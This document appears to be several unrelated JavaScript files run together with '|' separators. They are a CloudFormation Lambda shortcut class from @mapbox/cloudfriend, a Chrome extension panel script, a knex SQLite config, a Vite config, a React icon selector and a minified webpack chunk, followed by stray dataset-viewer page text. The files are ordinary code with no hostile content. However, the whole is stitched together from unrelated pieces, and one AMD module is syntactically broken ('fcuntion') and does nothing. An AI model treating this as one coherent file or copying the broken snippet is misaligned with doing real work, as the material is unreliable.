* Log Group, a Role, an Alarm on function errors, and the Lambda Function itself.
*
* @param {Object} options - Options.
* @param {String} options.LogicalName - The logical name of the Lambda function
* within the CloudFormation template. This is used to construct the logical
* names of the other resources, as well as the Lambda function's name.
* @param {Object} options.Code - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-lambda-function-code.html).
* @param {Object} [options.DeadLetterConfig=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-deadletterconfig).
* @param {String} [options.Description='${logical name} in the ${stack name} stack'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-description).
* @param {Object} [options.Environment=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-environment).
* @param {String} [options.FunctionName='${stack name}-${logical name}'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-functionname).
* @param {String} [options.Handler='index.handler'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-handler).
* @param {String} [options.KmsKeyArn=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-kmskeyarn).
* @param {Array<String>} [options.Layers=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-layers).
* @param {Number} [options.MemorySize=128] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-memorysize).
* @param {Number} [options.ReservedConcurrentExecutions=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-reservedconcurrentexecutions).
* @param {String} [options.Runtime='nodejs12.x'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-runtime).
* @param {Array<Object>} [options.Tags=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-tags).
* @param {Number} [options.Timeout=300] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-timeout).
* @param {Object} [options.TracingConfig=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-tracingconfig).
* @param {Object} [options.VpcConfig=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-lambda-function.html#cfn-lambda-function-vpcconfig).
* @param {String} [options.Condition=undefined] - If there is a `Condition` defined in the template
* that should control whether to create this Lambda function, specify
* the name of the condition here. See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/conditions-section-structure.html).
* @param {String} [options.DependsOn=undefined] - Specify a stack resource dependency
* to this Lambda function. See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-attribute-dependson.html).
* @param {Array<Object>} [options.Statement=[]] Policy statements that will be added to a generated IAM role defining the permissions your Lambda function needs to run. _Do not use this option when specifying your own role via RoleArn._
* @param {String} [options.RoleArn=undefined] If specified, the Lambda function will use this role instead of creating a new role. _If this option is specified, do not use the Statement option; add the permissions you need to your Role directly._
* @param {String} [options.AlarmName='${stack name}-${logical name}-Errors-${region}'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-alarmname).
* @param {String} [options.AlarmDescription='Error alarm for ${stack name}-${logical name} lambda function in ${stack name} stack'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-alarmdescription).
* @param {Array<String>} [options.AlarmActions=[]] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-alarmactions).
* @param {Number} [options.Period=60] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-period).
* @param {Number} [options.EvaluationPeriods=1] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-evaluationperiods).
* @param {String} [options.Statistic='Sum'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-statistic).
* @param {Number} [options.DatapointsToAlarm=1] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarm-datapointstoalarm).
* @param {Number} [options.Threshold=0] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-threshold).
* @param {String} [options.ComparisonOperator='GreaterThanThreshold'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-comparisonoperator).
* @param {String} [options.TreatMissingData='notBreaching'] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-treatmissingdata).
* @param {String} [options.EvaluateLowSampleCountPercentile=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-evaluatelowsamplecountpercentile).
* @param {String} [options.ExtendedStatistic=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-extendedstatistic)]
* @param {Array<String>} [options.OKActions=undefined] - See [AWS documentation](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-cw-alarm.html#cfn-cloudwatch-alarms-okactions).
*
* @example
* const cf = require('@mapbox/cloudfriend');
*
* const myTemplate = { ... };
*
* const lambda = new cf.shortcuts.Lambda({
* LogicalName: 'MyLambda',
* Code: {
* S3Bucket: 'my-code-bucket',
* S3Key: 'path/to/code.zip'
* }
* });
*
* module.exports = cf.merge(myTemplate, lambda);
*/
class Lambda {
constructor(options) {
if (!options) throw new Error('Options required');
const {
LogicalName,
Code,
DeadLetterConfig,
Description = { 'Fn::Sub': `${LogicalName} in the \${AWS::StackName} stack` },
Environment,
FunctionName = { 'Fn::Sub': `\${AWS::StackName}-${LogicalName}` },
Handler = 'index.handler',
KmsKeyArn,
Layers,
MemorySize = 128,
ReservedConcurrentExecutions,
Runtime = 'nodejs12.x',
Tags,
Timeout = 300,
TracingConfig,
VpcConfig,
Condition = undefined,
DependsOn = undefined,
Statement = [],
RoleArn,
AlarmName = { 'Fn::Sub': `\${AWS::StackName}-${LogicalName}-Errors-\${AWS::Region}` },
AlarmDescription = {
'Fn::Sub': [
'Error alarm for ${name} lambda function in ${AWS::StackName} stack',
{ name: FunctionName }
]
},
AlarmActions = [],
Period = 60,
EvaluationPeriods = Math.ceil(Timeout / Period),
Statistic = 'Sum',
DatapointsToAlarm = 1,
Threshold = 0,
ComparisonOperator = 'GreaterThanThreshold',
TreatMissingData = 'notBreaching',
EvaluateLowSampleCountPercentile,
ExtendedStatistic,
OKActions
} = options;
if (options.EvaluationPeriods < Math.ceil(Timeout / Period))
throw new Error('Cloudwatch alarm evalution window shorter than lambda timeout');
const required = [LogicalName, Code];
if (required.some((variable) => !variable))
throw new Error('You must provide a LogicalName, and Code');
if (Statement.length > 0 && RoleArn) {
throw new Error('You cannot specify both Statements and a RoleArn');
}
// if the RoleArn was specified, we need to split just the name for use with the log policy
let roleName;
if (RoleArn) {
roleName = { 'Fn::Select': [1, { 'Fn::Split': ['/', RoleArn] }] };
} else {
roleName = { Ref: `${LogicalName}Role` };
}
this.LogicalName = LogicalName;
this.FunctionName = FunctionName;
this.Condition = Condition;
this.Resources = {
[`${LogicalName}Logs`]: {
Type: 'AWS::Logs::LogGroup',
Condition,
Properties: {
LogGroupName: {
'Fn::Sub': ['/aws/lambda/${name}', { name: FunctionName }]
},
RetentionInDays: 14
}
},
[`${LogicalName}`]: {
Type: 'AWS::Lambda::Function',
Condition,
DependsOn,
Properties: {
Code,
DeadLetterConfig,
Description,
Environment,
FunctionName,
Handler,
KmsKeyArn,
Layers,
MemorySize,
ReservedConcurrentExecutions,
Runtime,
Timeout,
TracingConfig,
VpcConfig,
Tags
}
},
[`${LogicalName}ErrorAlarm`]: {
Type: 'AWS::CloudWatch::Alarm',
Condition,
Properties: {
AlarmName,
AlarmDescription,
AlarmActions,
Period,
EvaluationPeriods,
DatapointsToAlarm,
Statistic,
Threshold,
ComparisonOperator,
TreatMissingData,
EvaluateLowSampleCountPercentile,
ExtendedStatistic,
OKActions,
Namespace: 'AWS/Lambda',
Dimensions: [
{
Name: 'FunctionName',
Value: { 'Ref': LogicalName }
}
],
MetricName: 'Errors'
}
},
[`${LogicalName}LogPolicy`]: {
Type: 'AWS::IAM::Policy',
Condition,
DependsOn: (RoleArn) ? undefined : `${LogicalName}Role`,
Properties: {
PolicyName: 'lambda-log-access',
Roles: [roleName],
PolicyDocument: {
Version: '2012-10-17',
Statement: [
{
Effect: 'Allow',
Action: 'logs:*',
Resource: {
'Fn::GetAtt': [`${LogicalName}Logs`, 'Arn']
}
}
]
}
}
}
};
if (RoleArn) {
this.Resources[`${LogicalName}`].Properties.Role = RoleArn;
} else {
const serviceRole = new ServiceRole({
LogicalName: `${LogicalName}Role`,
Service: 'lambda',
Condition,
Statement
});
this.Resources[`${LogicalName}`].Properties.Role = { 'Fn::GetAtt': [`${LogicalName}Role`, 'Arn'] };
this.Resources = merge(this, serviceRole).Resources;
}
if (Code.ImageUri) {
this.Resources[`${LogicalName}`].Properties.PackageType = 'Image';
delete this.Resources[`${LogicalName}`].Properties.Runtime;
delete this.Resources[`${LogicalName}`].Properties.Handler;
}
}
}
module.exports = Lambda;
|
let panXHeader = document.getElementById("panX-header");
let minButton = document.getElementById("minButton");
let restoreButton = document.getElementById("restoreButton");
let closeButton = document.getElementById("closeButton");
minButton.addEventListener("click", async () => {
let [tab] = await chrome.tabs.query({ active: true, currentWindow: true });
chrome.scripting.executeScript({
target: { tabId: tab.id },
function: closePanel,
});
});
restoreButton.addEventListener("click", async () => {
let [tab] = await chrome.tabs.query({ active: true, currentWindow: true });
chrome.scripting.executeScript({
target: { tabId: tab.id },
function: restorePanel,
});
});
closeButton.addEventListener("click", async () => {
let [tab] = await chrome.tabs.query({ active: true, currentWindow: true });
chrome.scripting.executeScript({
target: { tabId: tab.id },
function: removePanel,
});
});
function closePanel() {
parent.postMessage("closePanel", "*");
}
function restorePanel() {
parent.postMessage("restorePanel", "*");
}
function removePanel() {
parent.postMessage("removePanel", "*");
}
window.addEventListener("scroll", () => {
const [r, g, b] = [255, 255, 255];
let [a, blur] = [0, 0];
if (window.scrollY || window.pageYOffset) {
[a, blur] = [0.8, 4];
}
panXHeader.style.backgroundColor = `rgba(${r}, ${g}, ${b}, ${a})`;
panXHeader.style.backdropFilter = `blur(${blur}px)`;
});
// Engine ends
|
// Update with your config settings.
module.exports = {
development: {
client: "sqlite3",
connection: {
filename: "./data/bw-backend.db3",
},
useNullAsDefault: true,
migrations: {
directory: "./data/migrations",
},
seeds: { directory: "./data/seeds" },
pool: {
afterCreate: (conn, done) => {
conn.run("PRAGMA foreign_keys = ON", done);
},
},
},
testing: {
client: "sqlite3",
useNullAsDefault: true,
connection: {
filename: "./data/bw-test.db3",
},
migrations: {
directory: "./data/migrations",
},
seeds: {
directory: "./data/seeds",
},
pool: {
afterCreate: (conn, done) => {
conn.run("PRAGMA foreign_keys = ON", done);
},
},
},
production: {
client: "sqlite3",
connection: {
filename: "./data/bw-backend.db3",
},
useNullAsDefault: true,
migrations: {
directory: "./data/migrations",
},
seeds: {
directory: "./data/seeds",
},
pool: {
afterCreate: (conn, done) => {
conn.run("PRAGMA foreign_keys = ON", done);
},
},
},
};
|
import { defineConfig } from "vite";
const path = require("path");
import reactRefresh from "@vitejs/plugin-react-refresh";
import { dependencies } from './package.json';
function renderChunks(deps) {
let chunks = {};
Object.keys(deps).forEach((key) => {
if (['react', 'react-router-dom', 'history', 'react-dom', 'react-redux', '@reduxjs/toolkit', '@material-ui/core'].includes(key)) return;
chunks[key] = [key];
});
return chunks;
}
// https://vitejs.dev/config/
export default defineConfig({
plugins: [reactRefresh()],
resolve: {
alias: [
{ find: "@", replacement: path.resolve(__dirname, "src") },
{
find: "@/features",
replacement: path.resolve(__dirname, "src/features"),
},
{
find: "@/hooks",
replacement: path.resolve(__dirname, "src/hooks"),
},
{
find: "@/screens",
replacement: path.resolve(__dirname, "src/screens"),
},
{
find: "@/utils",
replacement: path.resolve(__dirname, "src/utils"),
},
],
},
build: {
sourcemap: false,
rollupOptions: {
output: {
manualChunks: {
vendor: ['react', 'react-router-dom', 'react-dom'],
...renderChunks(dependencies),
},
},
},
},
});
|
define(fcuntion(require){
var $=require("zepto");
var customElem=require("customElement").create();
var e=document.createElement("script");
e.setAttribute("src","")
})
|
import React, { useContext } from "react";
import PropTypes from "prop-types";
import { AppContext } from "../store/AppContext";
import { Form } from "react-bootstrap";
import TaskIcon from "./TaskIcon";
const IconSelector = ({
icons,
label,
size,
color,
state,
setState,
className = ""
}) => {
const { store, actions } = useContext(AppContext);
const items = store.iconsInventory[icons];
return (
<Form.Group className={className}>
{label && <Form.Label>{label}</Form.Label>}
<div className="icon-selector">
{items.map(icon => {
return (
<TaskIcon
onClickHandler={(event, icon) => {
setState(icon);
}}
icon={icon}
key={icon}
side={size}
color={color}
marked={icon === state}
/>
);
})}
</div>
</Form.Group>
);
};
export default IconSelector;
IconSelector.propTypes = {
icons: PropTypes.string,
label: PropTypes.string,
size: PropTypes.number,
color: PropTypes.string,
state: PropTypes.oneOfType([PropTypes.string, PropTypes.object]),
setState: PropTypes.func,
className: PropTypes.string
};
|
(window.webpackJsonp=window.webpackJsonp||[]).push([[7],{jeRg:function(e,a,t){"use strict";t.r(a),t.d(a,"getHeaderImage",(function(){return i}));var n=t("q1tI"),r=t.n(n),u=t("1g+t"),c=t("RSc5");a.default=function(e){var a=e.data;return r.a.createElement(u.a,null,r.a.createElement(c.a,{img:a.defaultBcg.childImageSharp.fluid}),r.a.createElement("div",null,"this is the tour page"))};var i="4285182857"}}]);
//# sourceMappingURL=component---src-pages-tours-jsx-cb920cfa402a1d4d9ae8.js.map
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.